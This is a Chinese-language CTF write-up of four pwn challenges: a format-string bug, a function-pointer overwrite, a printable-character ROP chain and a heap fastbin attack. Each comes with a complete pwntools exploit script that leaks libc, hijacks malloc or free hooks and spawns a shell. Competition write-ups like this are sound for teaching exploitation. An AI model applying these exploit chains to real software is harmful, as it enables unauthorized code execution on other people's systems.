這個周末,連續(xù)兩天的比賽讓人吃不消,今天早上也是困的不行。因為是國際賽,題目質(zhì)量感覺挺高(可能是因為我太菜了),這里做一個總結(jié)。這次總共做了四道pwn題,都是比較經(jīng)典的漏洞利用。
EasiestPrintf
能夠利用一次的字符串格式化漏洞,但是程序隨機抬高棧頂,導致沒有辦法利用printf修改函數(shù)返回地址。加上程序執(zhí)行printf后馬上執(zhí)行了exit(0)函數(shù),所以必須在執(zhí)行完printf函數(shù)后就能夠控制eip
void __noreturn leave()
{
signed int i; // [sp+8h] [bp-B0h]@1
char s[160]; // [sp+Ch] [bp-ACh]@1
int v2; // [sp+ACh] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
memset(s, 0, 0xA0u);
puts("Good Bye");
for ( i = 0; i <= 158; ++i )
{
if ( read(0, &s[i], 1u) != 1 )
exit(-1);
if ( s[i] == '\n' )
break;
}
printf(s);
exit(0);
}
但是,程序提供了一次讀取任意地址數(shù)據(jù)的機會,這里我選擇泄露libc的地址。printf函數(shù)在輸出的內(nèi)容較多的時候,會調(diào)用malloc分配緩沖區(qū),輸出結(jié)束后會調(diào)用free釋放申請的內(nèi)存。這里我的策略是先把_free_hook修改為leave函數(shù)的入口地址,同時往指定內(nèi)存寫入一個"sh\x00"字符串,第二次觸發(fā)漏洞時修改__malloc_hook為system地址,輸出的字符數(shù)量為保存"sh\x00"字符串的地址,那么在觸發(fā)malloc操作時就可以getshell了。下面是完整的利用代碼
from pwn import *
local = 0
debug = 0
if local:
p = process('./easyprintf')
libc = ELF('/lib32/libc-2.24.so')
else:
p = remote('202.120.7.210', 12321)
libc = ELF('libc.so.6')
if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('you wanna read:')
exit_got = 0x08049FCC
read_got = 0x8049fc4
p.sendline(str(read_got))
print p.recvline()
read_addr = int(p.recvline(), 16)
print 'read_addr is', hex(read_addr)
base_addr = read_addr - libc.symbols['read']
print 'libc_base addr is', hex(base_addr)
free_hook_addr = base_addr + libc.symbols['__free_hook']
print 'free_hook addr is', hex(free_hook_addr)
leave_fun = 0x08048771
ret = 0x08048770
p.recvuntil('Good Bye')
def generate_format(addr_value):
payload = ''
print_count = 0
j = 0
addr_part = ''
for addr, value in addr_value:
for i in range(4):
one_byte = (value >> (8*i)) & 0xff
#print one_byte
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32 + i + j)
print_count += (one_byte - print_count) % 0x100
#print (one_byte - print_count) % 0x100
addr_part += p32(addr + i)
j += 4
payload = payload.ljust(100, 'a')
payload += addr_part
return payload
def generate_format_special(addr, value):
# 處理__malloc_hook地址中的換行符
payload = ''
addr_part = ''
print_count = 0
one_byte = value & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr)
one_byte = (value >> 8) & 0xffff
payload += '%{0}c%{1}$hn'.format((one_byte - print_count) % 0x10000, 33)
print_count += (one_byte - print_count) % 0x10000
addr_part += p32(addr + 1)
one_byte = (value >> 24) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 34)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr+3)
payload = payload.ljust(100, 'a')
payload += addr_part
return payload
bss_addr = 0x804a0b0
payload = generate_format([(free_hook_addr, leave_fun), (bss_addr, u32('sh\x00\x00'))])
payload += '%1000000cEND'
assert len(payload) <= 158
print payload
p.sendline(payload)
#p.recvuntil('Good Bye')
malloc_hook_addr = base_addr + libc.symbols['__malloc_hook']
print 'malloc_hook_addr is', hex(malloc_hook_addr)
system_addr = base_addr + libc.symbols['system']
print 'system_addr is', hex(system_addr)
if local:
payload = generate_format([(malloc_hook_addr, system_addr)])
else:
payload = generate_format_special(malloc_hook_addr, system_addr)
payload += '%{0}c'.format(bss_addr - 0x20)
p.sendline(payload)
p.interactive()
diethard
這道題并沒有找到漏洞的原因,做的時候隨手試了一下,發(fā)現(xiàn)可以覆蓋函數(shù)指針,于是就有了下面的代碼
from pwn import *
debug = 1
slog = 0
local = 0
if local:
p=process('./diethard')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
p = remote('202.120.7.194', 6666)
libc = ELF('libc.so')
if slog: context.log_level = True
def add(length,message = 'a'):
print p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('Length:')
p.sendline(str(length))
p.recvuntil('Message:')
p.sendline(message)
def delete(index):
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('Delete?')
p.sendline(str(index))
def exit():
p.recvuntil('Exit')
p.sendline('3')
binf = ELF('diethard')
add(100)
add(100)
add(100)
add(1000, 'a')
add(1000, 'b')
delete(0)
add(2046, 'e'*16 + p64(binf.got['puts']) + p64(binf.plt['puts']))
if debug and local: gdb.attach(pidof(p)[-1],open('debug'))
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('3. ')
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'puts addr is', hex(puts_addr)
base_addr = puts_addr - libc.symbols['puts']
print 'libc base_addr is', hex(base_addr)
system_addr = base_addr + libc.symbols['system']
print 'system addr is', hex(system_addr)
bin_sh_addr = base_addr + next(libc.search('/bin/sh'))
print '/bin/sh addr is', hex(bin_sh_addr)
p.recvuntil('Delete?')
p.sendline(str(0))
add(2046, 'e'*16 + p64(bin_sh_addr) + p64(system_addr))
p.recvuntil('Exit')
p.sendline('2')
p.interactive()
char
這道題一度想要放棄,但是看到那么多的隊伍都出了,最終還是堅持做完了。
程序在初始化階段把libc.so映射到了0x5555E000代碼段中,權(quán)限為r_x,接著用scanf讀入一個字符串,并限制字符范圍在1E到7F之間,后面用strcpy觸發(fā)棧溢出。那么很明顯,本題就是用希望我們用可見字符來創(chuàng)建rop鏈,但是對輸入的過濾導致很多gadget都不能使用。一開始想到了用gets和read函數(shù)來讀入字符串,但是函數(shù)執(zhí)行到一半就奔潰了,調(diào)試之后我認為程序當中只是對libc做了一個映射,但并沒有初始化相關(guān)環(huán)境變量(比如stdout,stdin),所以導致函數(shù)沒有辦法正常執(zhí)行。沒有辦法,只能控制寄存器去調(diào)int 80了。但是很多重要的gadget都沒有辦法直接使用,因此必須先尋找一個跳板
0x0001706b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0006812c : add esi, ebx ; ret
0x00119a49 : jmp esi
這三個gadget的組合可以極大的拓展可調(diào)用gadget的范圍,剩下的就是尋找合適的gadget去控制寄存器了
from pwn import *
local = 0
if local:
p = process('./char')
else:
p = remote('202.120.7.214', 23222)
#gdb.attach(p, open('debug'))
p.recvuntil('GO')
jmp_esi = p32(0x55677a49)
add_esi_ebx = p32(0x555c612c)
pop_ebx_esi_edi_ebp = p32(0x5557506c)
def pop_eax_ebx_esi_edi_ebp(eax = 0x61616161, ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
return p32(0x5557506b) + p32(eax) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)
def pop_ebx_esi_edi_ebp(ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
return p32(0x5557506c) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)
# call read
payload = 'a'*32 + pop_ebx_esi_edi_ebp(ebx = 0x21212121, esi = 0x344a5f57) + add_esi_ebx + jmp_esi
payload += p32(0x55643028) + p32(0x55643028)
payload += pop_ebx_esi_edi_ebp(ebx = 0x34425a7c, esi = 0x2121717b) + add_esi_ebx + p32(0x55643028) + jmp_esi
payload += p32(0x5566797b) + jmp_esi
assert len(payload) < 1500
payload = payload.ljust(1500, 'A')
p.sendline(payload)
# write new ropgadget
p.sendline('a'*96 + p32(0x5565a1f1) + p32(0) + p32(0) + p32(0x556bb7ec) + p32(0x55650781) + p32(0xb) + p32(0x55667177))
p.interactive()
babyheap
十分明顯的堆溢出,但程序開啟了PIE,從堆上沒有辦法泄露代碼段地址信息,但可以泄露堆地址和libc地址,然后再利用fastbin attack去修改__free_hook。因為程序使用的是calloc分配內(nèi)存,所以通過直接分配新內(nèi)存去泄露地址是不可行的。這里可以先分配一塊比較大的內(nèi)存,然后通過fastbin attack去在這一塊內(nèi)存中間分配一塊小內(nèi)存,這樣就可以通過輸出大塊內(nèi)存內(nèi)容的方式泄露地址信息了。泄露過程如下
allocate(200) #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10) #0,1
allocate(10) #0,1,2
allocate(10) #0,1,2,3
allocate(10) #0,1,2,3,4
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10) #0,1,2,4,5
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30) #0,1,2,4,5
allocate(0x100)
delete(3)
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)
完成了第一步,接下來就是想辦法去修改_free_hook變量了。實際在測試的時候發(fā)現(xiàn),_free_hook前面相鄰的區(qū)域全部是0,并沒有辦法通過fastbin attack在其附近區(qū)域分配內(nèi)存(fastbin attack分配條件:具備對應大小的堆頭信息,舉個例子,如果想要分配0x70大小的內(nèi)存,那么在指定地址上,應該出現(xiàn)0x81或0x80)。做到這里卡了很久,于是去買了一盒炒飯(做了一天,肚子快要餓爆了),吃完了飯,抱著隨便看看心態(tài)繼續(xù)看題,突然靈光乍現(xiàn)(看來還是應該按時吃飯),為什么不去自己構(gòu)造一個堆頭呢?那么問題來了,怎么在堆上寫入0x80呢,答案還是fastbin attack
那么接下來我們就可以fastbin attack得到指向main_arena的指針了,然后這個指針去修改top指針,這里我們將其指向__free_hook前較近的一段不為0的區(qū)域就可以了。再次調(diào)用malloc就可以獲得top指針指向的內(nèi)存,到這里,本題的坑基本就完了,下面是完整的利用代碼:
from pwn import *
slog = 0
local = 1
debug = 0
if slog: context.log_level = True
if local:
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
p = remote('202.120.7.218', 2017)
def allocate(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
def fill(index, size, content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(index))
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('Content')
p.sendline(content.ljust(size, 'a'))
def delete(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(index))
def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index')
p.sendline(str(index))
allocate(200) #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10) #0,1
allocate(10) #0,1,2
allocate(10) #0,1,2,3
allocate(10) #0,1,2,3,4
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10) #0,1,2,4,5
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30) #0,1,2,4,5
allocate(0x100)
delete(3)
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(0x70)
delete(3)
free_hook = main_arena_addr + 0x7f629d74c788 - 0x7f629d74ab58
base_addr = free_hook - 0x39a788
fake_fastbin = base_addr + 0x39a7d0 - 8
system_addr = libc.symbols['system'] + base_addr
print 'free hook is', hex(free_hook)
print 'base addr is', hex(base_addr)
print 'fake_fastbin addr is', hex(fake_fastbin)
print 'system aadr is', hex(system_addr)
#fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(fake_fastbin))
fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(0x30))
allocate(0x70)
delete(1)
fill(5, 0x28, 'a'*24 + p64(0x31) + p64(main_arena_addr - 0x28))
allocate(0x20)
if debug and local: gdb.attach(p, open('debug'))
allocate(0x20)
payload = p64(0) * 3 +p64(base_addr + 0x399c30)
fill(6, len(payload), payload)
allocate(0x50)
payload = '\x00'*0xb48 + p64(system_addr)
fill(7, len(payload), payload)
payload = '/bin/sh\x00'
fill(7, len(payload), payload)
delete(7)
p.interactive()